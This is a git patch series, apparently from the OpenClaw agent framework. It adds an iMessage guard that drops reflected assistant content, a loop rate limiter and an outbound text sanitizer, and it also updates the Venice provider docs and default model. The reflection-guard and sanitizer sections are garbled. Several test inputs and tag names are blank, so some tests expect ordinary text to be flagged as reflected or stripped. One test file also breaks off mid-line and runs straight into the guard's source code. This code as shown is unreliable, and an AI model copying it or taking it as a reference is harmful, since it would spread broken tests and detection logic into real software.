chats is not conflated. const inboundMessageId = params.message.id != null ? String(params.message.id) : undefined; if (params.echoCache && (messageText || inboundMessageId)) { @@ -237,6 +238,17 @@ export function resolveIMessageInboundDecision(params: { } } + // Reflection guard: drop inbound messages that contain assistant-internal + // metadata markers. These indicate outbound content was reflected back as + // inbound, which causes recursive echo amplification. + const reflection = detectReflectedContent(messageText); + if (reflection.isReflection) { + params.logVerbose?.( + `imessage: dropping reflected assistant content (markers: ${reflection.matchedLabels.join(", ")})`, + ); + return { kind: "drop", reason: "reflected assistant content" }; + } + const replyContext = describeReplyContext(params.message); const createdAt = params.message.created_at ? Date.parse(params.message.created_at) : undefined; const historyKey = isGroup diff --git a/src/imessage/monitor/loop-rate-limiter.test.ts b/src/imessage/monitor/loop-rate-limiter.test.ts new file mode 100644 index 00000000000..d156ffc2c36 --- /dev/null +++ b/src/imessage/monitor/loop-rate-limiter.test.ts @@ -0,0 +1,50 @@ +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { createLoopRateLimiter } from "./loop-rate-limiter.js"; + +describe("createLoopRateLimiter", () => { + beforeEach(() => { + vi.useFakeTimers(); + }); + + afterEach(() => { + vi.useRealTimers(); + }); + + it("allows messages below the threshold", () => { + const limiter = createLoopRateLimiter({ windowMs: 10_000, maxHits: 3 }); + limiter.record("conv:1"); + limiter.record("conv:1"); + expect(limiter.isRateLimited("conv:1")).toBe(false); + }); + + it("rate limits at the threshold", () => { + const limiter = createLoopRateLimiter({ windowMs: 10_000, maxHits: 3 }); + limiter.record("conv:1"); + limiter.record("conv:1"); + limiter.record("conv:1"); + expect(limiter.isRateLimited("conv:1")).toBe(true); + }); + + it("does not cross-contaminate conversations", () => { + const limiter = createLoopRateLimiter({ windowMs: 10_000, maxHits: 2 }); + limiter.record("conv:1"); + limiter.record("conv:1"); + expect(limiter.isRateLimited("conv:1")).toBe(true); + expect(limiter.isRateLimited("conv:2")).toBe(false); + }); + + it("resets after the time window expires", () => { + const limiter = createLoopRateLimiter({ windowMs: 5_000, maxHits: 2 }); + limiter.record("conv:1"); + limiter.record("conv:1"); + expect(limiter.isRateLimited("conv:1")).toBe(true); + + vi.advanceTimersByTime(6_000); + expect(limiter.isRateLimited("conv:1")).toBe(false); + }); + + it("returns false for unknown conversations", () => { + const limiter = createLoopRateLimiter(); + expect(limiter.isRateLimited("unknown")).toBe(false); + }); +}); diff --git a/src/imessage/monitor/loop-rate-limiter.ts b/src/imessage/monitor/loop-rate-limiter.ts new file mode 100644 index 00000000000..56c234a1b14 --- /dev/null +++ b/src/imessage/monitor/loop-rate-limiter.ts @@ -0,0 +1,69 @@ +/** + * Per-conversation rate limiter that detects rapid-fire identical echo + * patterns and suppresses them before they amplify into queue overflow. + */ + +const DEFAULT_WINDOW_MS = 60_000; +const DEFAULT_MAX_HITS = 5; +const CLEANUP_INTERVAL_MS = 120_000; + +type ConversationWindow = { + timestamps: number[]; +}; + +export type LoopRateLimiter = { + /** Returns true if this conversation has exceeded the rate limit. */ + isRateLimited: (conversationKey: string) => boolean; + /** Record an inbound message for a conversation. */ + record: (conversationKey: string) => void; +}; + +export function createLoopRateLimiter(opts?: { + windowMs?: number; + maxHits?: number; +}): LoopRateLimiter { + const windowMs = opts?.windowMs ?? DEFAULT_WINDOW_MS; + const maxHits = opts?.maxHits ?? DEFAULT_MAX_HITS; + const conversations = new Map(); + let lastCleanup = Date.now(); + + function cleanup() { + const now = Date.now(); + if (now - lastCleanup < CLEANUP_INTERVAL_MS) { + return; + } + lastCleanup = now; + for (const [key, win] of conversations.entries()) { + const recent = win.timestamps.filter((ts) => now - ts <= windowMs); + if (recent.length === 0) { + conversations.delete(key); + } else { + win.timestamps = recent; + } + } + } + + return { + record(conversationKey: string) { + cleanup(); + let win = conversations.get(conversationKey); + if (!win) { + win = { timestamps: [] }; + conversations.set(conversationKey, win); + } + win.timestamps.push(Date.now()); + }, + + isRateLimited(conversationKey: string): boolean { + cleanup(); + const win = conversations.get(conversationKey); + if (!win) { + return false; + } + const now = Date.now(); + const recent = win.timestamps.filter((ts) => now - ts <= windowMs); + win.timestamps = recent; + return recent.length >= maxHits; + }, + }; +} diff --git a/src/imessage/monitor/monitor-provider.echo-cache.test.ts b/src/imessage/monitor/monitor-provider.echo-cache.test.ts index e67667c0228..4adeed4aafa 100644 --- a/src/imessage/monitor/monitor-provider.echo-cache.test.ts +++ b/src/imessage/monitor/monitor-provider.echo-cache.test.ts @@ -35,7 +35,8 @@ describe("iMessage sent-message echo cache", () => { const cache = createSentMessageCache(); cache.remember("acct:imessage:+1555", { text: "hello", messageId: "m-1" }); - vi.advanceTimersByTime(6000); + // Text fallback stays short to avoid suppressing legitimate repeated user text. + vi.advanceTimersByTime(6_000); expect(cache.has("acct:imessage:+1555", { text: "hello" })).toBe(false); expect(cache.has("acct:imessage:+1555", { messageId: "m-1" })).toBe(true); diff --git a/src/imessage/monitor/monitor-provider.ts b/src/imessage/monitor/monitor-provider.ts index 2ca8d3015f1..ffc15a4df0a 100644 --- a/src/imessage/monitor/monitor-provider.ts +++ b/src/imessage/monitor/monitor-provider.ts @@ -50,6 +50,7 @@ import { buildIMessageInboundContext, resolveIMessageInboundDecision, } from "./inbound-processing.js"; +import { createLoopRateLimiter } from "./loop-rate-limiter.js"; import { parseIMessageNotification } from "./parse-notification.js"; import { normalizeAllowList, resolveRuntime } from "./runtime.js"; import type { IMessagePayload, MonitorIMessageOpts } from "./types.js"; @@ -98,6 +99,7 @@ export async function monitorIMessageProvider(opts: MonitorIMessageOpts = {}): P ); const groupHistories = new Map(); const sentMessageCache = createSentMessageCache(); + const loopRateLimiter = createLoopRateLimiter(); const textLimit = resolveTextChunkLimit(cfg, "imessage", accountInfo.accountId); const allowFrom = normalizeAllowList(opts.allowFrom ?? imessageCfg.allowFrom); const groupAllowFrom = normalizeAllowList( @@ -253,11 +255,34 @@ export async function monitorIMessageProvider(opts: MonitorIMessageOpts = {}): P logVerbose, }); + // Build conversation key for rate limiting (used by both drop and dispatch paths). + const chatId = message.chat_id ?? undefined; + const senderForKey = (message.sender ?? "").trim(); + const conversationKey = chatId != null ? `group:${chatId}` : `dm:${senderForKey}`; + const rateLimitKey = `${accountInfo.accountId}:${conversationKey}`; + if (decision.kind === "drop") { + // Record echo/reflection drops so the rate limiter can detect sustained loops. + // Only loop-related drop reasons feed the counter; policy/mention/empty drops + // are normal and should not escalate. + const isLoopDrop = + decision.reason === "echo" || + decision.reason === "reflected assistant content" || + decision.reason === "from me"; + if (isLoopDrop) { + loopRateLimiter.record(rateLimitKey); + } + return; + } + + // After repeated echo/reflection drops for a conversation, suppress all + // remaining messages as a safety net against amplification that slips + // through the primary guards. + if (decision.kind === "dispatch" && loopRateLimiter.isRateLimited(rateLimitKey)) { + logVerbose(`imessage: rate-limited conversation ${conversationKey} (echo loop detected)`); return; } - const chatId = message.chat_id ?? undefined; if (decision.kind === "pairing") { const sender = (message.sender ?? "").trim(); if (!sender) { diff --git a/src/imessage/monitor/reflection-guard.test.ts b/src/imessage/monitor/reflection-guard.test.ts new file mode 100644 index 00000000000..d7156b93da5 --- /dev/null +++ b/src/imessage/monitor/reflection-guard.test.ts @@ -0,0 +1,107 @@ +import { describe, expect, it } from "vitest"; +import { detectReflectedContent } from "./reflection-guard.js"; + +describe("detectReflectedContent", () => { + it("returns false for empty text", () => { + expect(detectReflectedContent("").isReflection).toBe(false); + }); + + it("returns false for normal user text", () => { + const result = detectReflectedContent("Hey, what's the weather today?"); + expect(result.isReflection).toBe(false); + expect(result.matchedLabels).toEqual([]); + }); + + it("detects +#+#+#+# separator pattern", () => { + const result = detectReflectedContent("NO_REPLY +#+#+#+#+#+assistant to=final"); + expect(result.isReflection).toBe(true); + expect(result.matchedLabels).toContain("internal-separator"); + }); + + it("detects assistant to=final marker", () => { + const result = detectReflectedContent("some text assistant to=final rest"); + expect(result.isReflection).toBe(true); + expect(result.matchedLabels).toContain("assistant-role-marker"); + }); + + it("detects tags", () => { + const result = detectReflectedContent("internal reasoning"); + expect(result.isReflection).toBe(true); + expect(result.matchedLabels).toContain("thinking-tag"); + }); + + it("detects tags", () => { + const result = detectReflectedContent("secret"); + expect(result.isReflection).toBe(true); + expect(result.matchedLabels).toContain("thinking-tag"); + }); + + it("detects tags", () => { + const result = detectReflectedContent("data"); + expect(result.isReflection).toBe(true); + expect(result.matchedLabels).toContain("relevant-memories-tag"); + }); + + it("detects tags", () => { + const result = detectReflectedContent("visible"); + expect(result.isReflection).toBe(true); + expect(result.matchedLabels).toContain("final-tag"); + }); + + it("returns multiple matched labels for combined markers", () => { + const text = "NO_REPLY +#+#+#+# step assistant to=final"; + const result = detectReflectedContent(text); + expect(result.isReflection).toBe(true); + expect(result.matchedLabels.length).toBeGreaterThanOrEqual(3); + }); + + it("ignores reflection markers inside inline code", () => { + const result = detectReflectedContent( + "Please keep `debug trace` in the example output", + ); + expect(result.isReflection).toBe(false); + expect(result.matchedLabels).toEqual([]); + }); + + it("ignores reflection markers inside fenced code blocks", () => { + const result = detectReflectedContent( + [ + "User pasted a repro snippet:", + "```xml", + "cached", + "assistant to=final", + "```", + ].join("\n"), + ); + expect(result.isReflection).toBe(false); + expect(result.matchedLabels).toEqual([]); + }); + + it("still flags markers that appear outside code blocks", () => { + const result = detectReflectedContent( + ["```xml", "inside code", "```", "", "assistant to=final"].join("\n"), + ); + expect(result.isReflection).toBe(true); + expect(result.matchedLabels).toContain("assistant-role-marker"); + }); + + it("does not flag normal code discussion about thinking", () => { + const result = detectReflectedContent("I was thinking about your question"); + expect(result.isReflection).toBe(false); + }); + + it("flags '' as reflection when it forms a complete tag", () => { + const result = detectReflectedContent("Here is my "); + expect(result.isReflection).toBe(true); + }); + + it("does not flag partial tag without closing bracket", () => { + const result = detectReflectedContent("I sent a ' phrase without closing bracket", () => { + const result = detectReflectedContent("This is a ` to avoid false-positives on phrases like "". +const THINKING_TAG_RE = /<\s*\/?\s*(?:think(?:ing)?|thought|antthinking)\b[^<>]*>/i; +const RELEVANT_MEMORIES_TAG_RE = /<\s*\/?\s*relevant[-_]memories\b[^<>]*>/i; +// Require closing `>` to avoid false-positives on phrases like "". +const FINAL_TAG_RE = /<\s*\/?\s*final\b[^<>]*>/i; + +const REFLECTION_PATTERNS: Array<{ re: RegExp; label: string }> = [ + { re: INTERNAL_SEPARATOR_RE, label: "internal-separator" }, + { re: ASSISTANT_ROLE_MARKER_RE, label: "assistant-role-marker" }, + { re: THINKING_TAG_RE, label: "thinking-tag" }, + { re: RELEVANT_MEMORIES_TAG_RE, label: "relevant-memories-tag" }, + { re: FINAL_TAG_RE, label: "final-tag" }, +]; + +export type ReflectionDetection = { + isReflection: boolean; + matchedLabels: string[]; +}; + +function hasMatchOutsideCode(text: string, re: RegExp): boolean { + const codeRegions = findCodeRegions(text); + const globalRe = new RegExp(re.source, re.flags.includes("g") ? re.flags : `${re.flags}g`); + + for (const match of text.matchAll(globalRe)) { + const start = match.index ?? -1; + if (start >= 0 && !isInsideCode(start, codeRegions)) { + return true; + } + } + + return false; +} + +/** + * Check whether an inbound message appears to be a reflection of + * assistant-originated content. Returns matched pattern labels for telemetry. + */ +export function detectReflectedContent(text: string): ReflectionDetection { + if (!text) { + return { isReflection: false, matchedLabels: [] }; + } + + const matchedLabels: string[] = []; + for (const { re, label } of REFLECTION_PATTERNS) { + if (hasMatchOutsideCode(text, re)) { + matchedLabels.push(label); + } + } + + return { + isReflection: matchedLabels.length > 0, + matchedLabels, + }; +} diff --git a/src/imessage/monitor/sanitize-outbound.test.ts b/src/imessage/monitor/sanitize-outbound.test.ts new file mode 100644 index 00000000000..ad70b558731 --- /dev/null +++ b/src/imessage/monitor/sanitize-outbound.test.ts @@ -0,0 +1,64 @@ +import { describe, expect, it } from "vitest"; +import { sanitizeOutboundText } from "./sanitize-outbound.js"; + +describe("sanitizeOutboundText", () => { + it("returns empty string unchanged", () => { + expect(sanitizeOutboundText("")).toBe(""); + }); + + it("preserves normal user-facing text", () => { + const text = "Hello! How can I help you today?"; + expect(sanitizeOutboundText(text)).toBe(text); + }); + + it("strips tags and content", () => { + const text = "internal reasoningThe answer is 42."; + expect(sanitizeOutboundText(text)).toBe("The answer is 42."); + }); + + it("strips tags and content", () => { + const text = "secretVisible reply"; + expect(sanitizeOutboundText(text)).toBe("Visible reply"); + }); + + it("strips tags", () => { + const text = "Hello world"; + expect(sanitizeOutboundText(text)).toBe("Hello world"); + }); + + it("strips tags and content", () => { + const text = "memory dataVisible"; + expect(sanitizeOutboundText(text)).toBe("Visible"); + }); + + it("strips +#+#+#+# separator patterns", () => { + const text = "NO_REPLY +#+#+#+#+#+ more internal stuff"; + expect(sanitizeOutboundText(text)).not.toContain("+#+#"); + }); + + it("strips assistant to=final markers", () => { + const text = "Some text assistant to=final more text"; + const result = sanitizeOutboundText(text); + expect(result).not.toMatch(/assistant\s+to\s*=\s*final/i); + }); + + it("strips trailing role turn markers", () => { + const text = "Hello\nassistant:\nuser:"; + const result = sanitizeOutboundText(text); + expect(result).not.toMatch(/^assistant:$/m); + }); + + it("collapses excessive blank lines after stripping", () => { + const text = "Hello\n\n\n\n\nWorld"; + expect(sanitizeOutboundText(text)).toBe("Hello\n\nWorld"); + }); + + it("handles combined internal markers in one message", () => { + const text = "step 1NO_REPLY +#+#+#+# assistant to=final\n\nActual reply"; + const result = sanitizeOutboundText(text); + expect(result).not.toContain(""); + expect(result).not.toContain("+#+#"); + expect(result).not.toMatch(/assistant to=final/i); + expect(result).toContain("Actual reply"); + }); +}); diff --git a/src/imessage/monitor/sanitize-outbound.ts b/src/imessage/monitor/sanitize-outbound.ts new file mode 100644 index 00000000000..9fe1664e1eb --- /dev/null +++ b/src/imessage/monitor/sanitize-outbound.ts @@ -0,0 +1,31 @@ +import { stripAssistantInternalScaffolding } from "../../shared/text/assistant-visible-text.js"; + +/** + * Patterns that indicate assistant-internal metadata leaked into text. + * These must never reach a user-facing channel. + */ +const INTERNAL_SEPARATOR_RE = /(?:#\+){2,}#?/g; +const ASSISTANT_ROLE_MARKER_RE = /\bassistant\s+to\s*=\s*\w+/gi; +const ROLE_TURN_MARKER_RE = /\b(?:user|system|assistant)\s*:\s*$/gm; + +/** + * Strip all assistant-internal scaffolding from outbound text before delivery. + * Applies reasoning/thinking tag removal, memory tag removal, and + * model-specific internal separator stripping. + */ +export function sanitizeOutboundText(text: string): string { + if (!text) { + return text; + } + + let cleaned = stripAssistantInternalScaffolding(text); + + cleaned = cleaned.replace(INTERNAL_SEPARATOR_RE, ""); + cleaned = cleaned.replace(ASSISTANT_ROLE_MARKER_RE, ""); + cleaned = cleaned.replace(ROLE_TURN_MARKER_RE, ""); + + // Collapse excessive blank lines left after stripping. + cleaned = cleaned.replace(/\n{3,}/g, "\n\n").trim(); + + return cleaned; +} From 3070fafec14867a305f6ac729927b41cc9af4be3 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 19:31:07 -0500 Subject: [PATCH 078/844] fix(venice): switch default model to kimi-k2-5 (#38423) * Docs: refresh Venice default model guidance * Venice: switch default model to Kimi K2.5 * Changelog: credit Venice default refresh --- CHANGELOG.md | 1 + docs/providers/venice.md | 141 +++++++++++++---------- src/agents/venice-models.ts | 2 +- src/commands/onboard-auth.config-core.ts | 2 +- 4 files changed, 81 insertions(+), 65 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 40b9027f7f9..993e6ffe3a2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -216,6 +216,7 @@ Docs: https://docs.openclaw.ai - Feishu/media downloads: drop invalid timeout fields from SDK method calls now that client-level `httpTimeoutMs` applies to requests. (#38267) Thanks @ant1eicher and @thewilloftheshadow. - PI embedded runner/Feishu docs: propagate sender identity into embedded attempts so Feishu doc auto-grant restores requester access for embedded-runner executions. (#32915) thanks @cszhouwei. - Agents/usage normalization: normalize missing or partial assistant usage snapshots before compaction accounting so `openclaw agent --json` no longer crashes when provider payloads omit `totalTokens` or related usage fields. (#34977) thanks @sp-hk2ldn. +- Venice/default model refresh: switch the built-in Venice default to `kimi-k2-5`, update onboarding aliasing, and refresh Venice provider docs/recommendations to match the current private and anonymized catalog. (from #12964) Fixes #20156. Thanks @sabrinaaquino and @vincentkoc. ## 2026.3.2 diff --git a/docs/providers/venice.md b/docs/providers/venice.md index 6517e9909b2..520cf22d82b 100644 --- a/docs/providers/venice.md +++ b/docs/providers/venice.md @@ -23,16 +23,16 @@ Venice AI provides privacy-focused AI inference with support for uncensored mode Venice offers two privacy levels — understanding this is key to choosing your model: -| Mode | Description | Models | -| -------------- | -------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------- | -| **Private** | Fully private. Prompts/responses are **never stored or logged**. Ephemeral. | Llama, Qwen, DeepSeek, Venice Uncensored, etc. | -| **Anonymized** | Proxied through Venice with metadata stripped. The underlying provider (OpenAI, Anthropic) sees anonymized requests. | Claude, GPT, Gemini, Grok, Kimi, MiniMax | +| Mode | Description | Models | +| -------------- | --------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------- | +| **Private** | Fully private. Prompts/responses are **never stored or logged**. Ephemeral. | Llama, Qwen, DeepSeek, Kimi, MiniMax, Venice Uncensored, etc. | +| **Anonymized** | Proxied through Venice with metadata stripped. The underlying provider (OpenAI, Anthropic, Google, xAI) sees anonymized requests. | Claude, GPT, Gemini, Grok | ## Features - **Privacy-focused**: Choose between "private" (fully private) and "anonymized" (proxied) modes - **Uncensored models**: Access to models without content restrictions -- **Major model access**: Use Claude, GPT-5.2, Gemini, Grok via Venice's anonymized proxy +- **Major model access**: Use Claude, GPT, Gemini, and Grok via Venice's anonymized proxy - **OpenAI-compatible API**: Standard `/v1` endpoints for easy integration - **Streaming**: ✅ Supported on all models - **Function calling**: ✅ Supported on select models (check model capabilities) @@ -79,23 +79,23 @@ openclaw onboard --non-interactive \ ### 3. Verify Setup ```bash -openclaw agent --model venice/llama-3.3-70b --message "Hello, are you working?" +openclaw agent --model venice/kimi-k2-5 --message "Hello, are you working?" ``` ## Model Selection After setup, OpenClaw shows all available Venice models. Pick based on your needs: -- **Default model**: `venice/llama-3.3-70b` for private, balanced performance. -- **High-capability option**: `venice/claude-opus-45` for hard jobs. +- **Default model**: `venice/kimi-k2-5` for strong private reasoning plus vision. +- **High-capability option**: `venice/claude-opus-4-6` for the strongest anonymized Venice path. - **Privacy**: Choose "private" models for fully private inference. - **Capability**: Choose "anonymized" models to access Claude, GPT, Gemini via Venice's proxy. Change your default model anytime: ```bash -openclaw models set venice/claude-opus-45 -openclaw models set venice/llama-3.3-70b +openclaw models set venice/kimi-k2-5 +openclaw models set venice/claude-opus-4-6 ``` List all available models: @@ -112,53 +112,68 @@ openclaw models list | grep venice ## Which Model Should I Use? -| Use Case | Recommended Model | Why | -| ---------------------------- | -------------------------------- | ----------------------------------- | -| **General chat** | `llama-3.3-70b` | Good all-around, fully private | -| **High-capability option** | `claude-opus-45` | Higher quality for hard tasks | -| **Privacy + Claude quality** | `claude-opus-45` | Best reasoning via anonymized proxy | -| **Coding** | `qwen3-coder-480b-a35b-instruct` | Code-optimized, 262k context | -| **Vision tasks** | `qwen3-vl-235b-a22b` | Best private vision model | -| **Uncensored** | `venice-uncensored` | No content restrictions | -| **Fast + cheap** | `qwen3-4b` | Lightweight, still capable | -| **Complex reasoning** | `deepseek-v3.2` | Strong reasoning, private | +| Use Case | Recommended Model | Why | +| -------------------------- | -------------------------------- | -------------------------------------------- | +| **General chat (default)** | `kimi-k2-5` | Strong private reasoning plus vision | +| **Best overall quality** | `claude-opus-4-6` | Strongest anonymized Venice option | +| **Privacy + coding** | `qwen3-coder-480b-a35b-instruct` | Private coding model with large context | +| **Private vision** | `kimi-k2-5` | Vision support without leaving private mode | +| **Fast + cheap** | `qwen3-4b` | Lightweight reasoning model | +| **Complex private tasks** | `deepseek-v3.2` | Strong reasoning, but no Venice tool support | +| **Uncensored** | `venice-uncensored` | No content restrictions | -## Available Models (25 Total) +## Available Models (41 Total) -### Private Models (15) — Fully Private, No Logging +### Private Models (26) — Fully Private, No Logging -| Model ID | Name | Context (tokens) | Features | -| -------------------------------- | ----------------------- | ---------------- | ----------------------- | -| `llama-3.3-70b` | Llama 3.3 70B | 131k | General | -| `llama-3.2-3b` | Llama 3.2 3B | 131k | Fast, lightweight | -| `hermes-3-llama-3.1-405b` | Hermes 3 Llama 3.1 405B | 131k | Complex tasks | -| `qwen3-235b-a22b-thinking-2507` | Qwen3 235B Thinking | 131k | Reasoning | -| `qwen3-235b-a22b-instruct-2507` | Qwen3 235B Instruct | 131k | General | -| `qwen3-coder-480b-a35b-instruct` | Qwen3 Coder 480B | 262k | Code | -| `qwen3-next-80b` | Qwen3 Next 80B | 262k | General | -| `qwen3-vl-235b-a22b` | Qwen3 VL 235B | 262k | Vision | -| `qwen3-4b` | Venice Small (Qwen3 4B) | 32k | Fast, reasoning | -| `deepseek-v3.2` | DeepSeek V3.2 | 163k | Reasoning | -| `venice-uncensored` | Venice Uncensored | 32k | Uncensored | -| `mistral-31-24b` | Venice Medium (Mistral) | 131k | Vision | -| `google-gemma-3-27b-it` | Gemma 3 27B Instruct | 202k | Vision | -| `openai-gpt-oss-120b` | OpenAI GPT OSS 120B | 131k | General | -| `zai-org-glm-4.7` | GLM 4.7 | 202k | Reasoning, multilingual | +| Model ID | Name | Context | Features | +| -------------------------------------- | ----------------------------------- | ------- | -------------------------- | +| `kimi-k2-5` | Kimi K2.5 | 256k | Default, reasoning, vision | +| `kimi-k2-thinking` | Kimi K2 Thinking | 256k | Reasoning | +| `llama-3.3-70b` | Llama 3.3 70B | 128k | General | +| `llama-3.2-3b` | Llama 3.2 3B | 128k | General | +| `hermes-3-llama-3.1-405b` | Hermes 3 Llama 3.1 405B | 128k | General, tools disabled | +| `qwen3-235b-a22b-thinking-2507` | Qwen3 235B Thinking | 128k | Reasoning | +| `qwen3-235b-a22b-instruct-2507` | Qwen3 235B Instruct | 128k | General | +| `qwen3-coder-480b-a35b-instruct` | Qwen3 Coder 480B | 256k | Coding | +| `qwen3-coder-480b-a35b-instruct-turbo` | Qwen3 Coder 480B Turbo | 256k | Coding | +| `qwen3-5-35b-a3b` | Qwen3.5 35B A3B | 256k | Reasoning, vision | +| `qwen3-next-80b` | Qwen3 Next 80B | 256k | General | +| `qwen3-vl-235b-a22b` | Qwen3 VL 235B (Vision) | 256k | Vision | +| `qwen3-4b` | Venice Small (Qwen3 4B) | 32k | Fast, reasoning | +| `deepseek-v3.2` | DeepSeek V3.2 | 160k | Reasoning, tools disabled | +| `venice-uncensored` | Venice Uncensored (Dolphin-Mistral) | 32k | Uncensored, tools disabled | +| `mistral-31-24b` | Venice Medium (Mistral) | 128k | Vision | +| `google-gemma-3-27b-it` | Google Gemma 3 27B Instruct | 198k | Vision | +| `openai-gpt-oss-120b` | OpenAI GPT OSS 120B | 128k | General | +| `nvidia-nemotron-3-nano-30b-a3b` | NVIDIA Nemotron 3 Nano 30B | 128k | General | +| `olafangensan-glm-4.7-flash-heretic` | GLM 4.7 Flash Heretic | 128k | Reasoning | +| `zai-org-glm-4.6` | GLM 4.6 | 198k | General | +| `zai-org-glm-4.7` | GLM 4.7 | 198k | Reasoning | +| `zai-org-glm-4.7-flash` | GLM 4.7 Flash | 128k | Reasoning | +| `zai-org-glm-5` | GLM 5 | 198k | Reasoning | +| `minimax-m21` | MiniMax M2.1 | 198k | Reasoning | +| `minimax-m25` | MiniMax M2.5 | 198k | Reasoning | -### Anonymized Models (10) — Via Venice Proxy +### Anonymized Models (15) — Via Venice Proxy -| Model ID | Original | Context (tokens) | Features | -| ------------------------ | ----------------- | ---------------- | ----------------- | -| `claude-opus-45` | Claude Opus 4.5 | 202k | Reasoning, vision | -| `claude-sonnet-45` | Claude Sonnet 4.5 | 202k | Reasoning, vision | -| `openai-gpt-52` | GPT-5.2 | 262k | Reasoning | -| `openai-gpt-52-codex` | GPT-5.2 Codex | 262k | Reasoning, vision | -| `gemini-3-pro-preview` | Gemini 3 Pro | 202k | Reasoning, vision | -| `gemini-3-flash-preview` | Gemini 3 Flash | 262k | Reasoning, vision | -| `grok-41-fast` | Grok 4.1 Fast | 262k | Reasoning, vision | -| `grok-code-fast-1` | Grok Code Fast 1 | 262k | Reasoning, code | -| `kimi-k2-thinking` | Kimi K2 Thinking | 262k | Reasoning | -| `minimax-m21` | MiniMax M2.5 | 202k | Reasoning | +| Model ID | Name | Context | Features | +| ------------------------------- | ------------------------------ | ------- | ------------------------- | +| `claude-opus-4-6` | Claude Opus 4.6 (via Venice) | 1M | Reasoning, vision | +| `claude-opus-4-5` | Claude Opus 4.5 (via Venice) | 198k | Reasoning, vision | +| `claude-sonnet-4-6` | Claude Sonnet 4.6 (via Venice) | 1M | Reasoning, vision | +| `claude-sonnet-4-5` | Claude Sonnet 4.5 (via Venice) | 198k | Reasoning, vision | +| `openai-gpt-54` | GPT-5.4 (via Venice) | 1M | Reasoning, vision | +| `openai-gpt-53-codex` | GPT-5.3 Codex (via Venice) | 400k | Reasoning, vision, coding | +| `openai-gpt-52` | GPT-5.2 (via Venice) | 256k | Reasoning | +| `openai-gpt-52-codex` | GPT-5.2 Codex (via Venice) | 256k | Reasoning, vision, coding | +| `openai-gpt-4o-2024-11-20` | GPT-4o (via Venice) | 128k | Vision | +| `openai-gpt-4o-mini-2024-07-18` | GPT-4o Mini (via Venice) | 128k | Vision | +| `gemini-3-1-pro-preview` | Gemini 3.1 Pro (via Venice) | 1M | Reasoning, vision | +| `gemini-3-pro-preview` | Gemini 3 Pro (via Venice) | 198k | Reasoning, vision | +| `gemini-3-flash-preview` | Gemini 3 Flash (via Venice) | 256k | Reasoning, vision | +| `grok-41-fast` | Grok 4.1 Fast (via Venice) | 1M | Reasoning, vision | +| `grok-code-fast-1` | Grok Code Fast 1 (via Venice) | 256k | Reasoning, coding | ## Model Discovery @@ -194,11 +209,11 @@ Venice uses a credit-based system. Check [venice.ai/pricing](https://venice.ai/p ## Usage Examples ```bash -# Use default private model -openclaw agent --model venice/llama-3.3-70b --message "Quick health check" +# Use the default private model +openclaw agent --model venice/kimi-k2-5 --message "Quick health check" -# Use Claude via Venice (anonymized) -openclaw agent --model venice/claude-opus-45 --message "Summarize this task" +# Use Claude Opus via Venice (anonymized) +openclaw agent --model venice/claude-opus-4-6 --message "Summarize this task" # Use uncensored model openclaw agent --model venice/venice-uncensored --message "Draft options" @@ -234,7 +249,7 @@ Venice API is at `https://api.venice.ai/api/v1`. Ensure your network allows HTTP ```json5 { env: { VENICE_API_KEY: "vapi_..." }, - agents: { defaults: { model: { primary: "venice/llama-3.3-70b" } } }, + agents: { defaults: { model: { primary: "venice/kimi-k2-5" } } }, models: { mode: "merge", providers: { @@ -244,13 +259,13 @@ Venice API is at `https://api.venice.ai/api/v1`. Ensure your network allows HTTP api: "openai-completions", models: [ { - id: "llama-3.3-70b", - name: "Llama 3.3 70B", - reasoning: false, - input: ["text"], + id: "kimi-k2-5", + name: "Kimi K2.5", + reasoning: true, + input: ["text", "image"], cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 131072, - maxTokens: 8192, + contextWindow: 256000, + maxTokens: 65536, }, ], }, diff --git a/src/agents/venice-models.ts b/src/agents/venice-models.ts index 47dcf4d2f4d..2e6dae6bac9 100644 --- a/src/agents/venice-models.ts +++ b/src/agents/venice-models.ts @@ -5,7 +5,7 @@ import { createSubsystemLogger } from "../logging/subsystem.js"; const log = createSubsystemLogger("venice-models"); export const VENICE_BASE_URL = "https://api.venice.ai/api/v1"; -export const VENICE_DEFAULT_MODEL_ID = "llama-3.3-70b"; +export const VENICE_DEFAULT_MODEL_ID = "kimi-k2-5"; export const VENICE_DEFAULT_MODEL_REF = `venice/${VENICE_DEFAULT_MODEL_ID}`; // Venice uses credit-based pricing, not per-token costs. diff --git a/src/commands/onboard-auth.config-core.ts b/src/commands/onboard-auth.config-core.ts index 18d106c7d7f..103343d5914 100644 --- a/src/commands/onboard-auth.config-core.ts +++ b/src/commands/onboard-auth.config-core.ts @@ -305,7 +305,7 @@ export function applyVeniceProviderConfig(cfg: OpenClawConfig): OpenClawConfig { const models = { ...cfg.agents?.defaults?.models }; models[VENICE_DEFAULT_MODEL_REF] = { ...models[VENICE_DEFAULT_MODEL_REF], - alias: models[VENICE_DEFAULT_MODEL_REF]?.alias ?? "Llama 3.3 70B", + alias: models[VENICE_DEFAULT_MODEL_REF]?.alias ?? "Kimi K2.5", }; const veniceModels = VENICE_MODEL_CATALOG.map(buildVeniceModelDefinition); From 42e3d8d693141ea442ba411a6a8a5d1bbbc9a24e Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 19:35:26 -0500 Subject: [PATCH 079/844] Secrets: add inline allowlist review set (#38314) * Secrets: add inline allowlist review set * Secrets: narrow detect-secrets file exclusions * Secrets: exclude Docker fingerprint false positive * Secrets: allowlist test and docs false positives * Secrets: refresh baseline after allowlist updates * Secrets: fix gateway chat fixture pragma * Secrets: format pre-commit config * Android: keep talk mode fixture JSON valid * Feishu: rely on client timeout injection * Secrets: allowlist provider auth test fixtures * Secrets: allowlist onboard search fixtures * Secrets: allowlist onboard mode fixture * Secrets: allowlist gateway auth mode fixture * Secrets: allowlist APNS wake test key * Secrets: allowlist gateway reload fixtures * Secrets: allowlist moonshot video fixture * Secrets: allowlist auto audio fixture * Secrets: allowlist tiny audio fixture * Secrets: allowlist embeddings fixtures * Secrets: allowlist resolve fixtures * Secrets: allowlist target registry pattern fixtures * Secrets: allowlist gateway chat env fixture * Secrets: refresh baseline after fixture allowlists * Secrets: reapply gateway chat env allowlist * Secrets: reapply gateway chat env 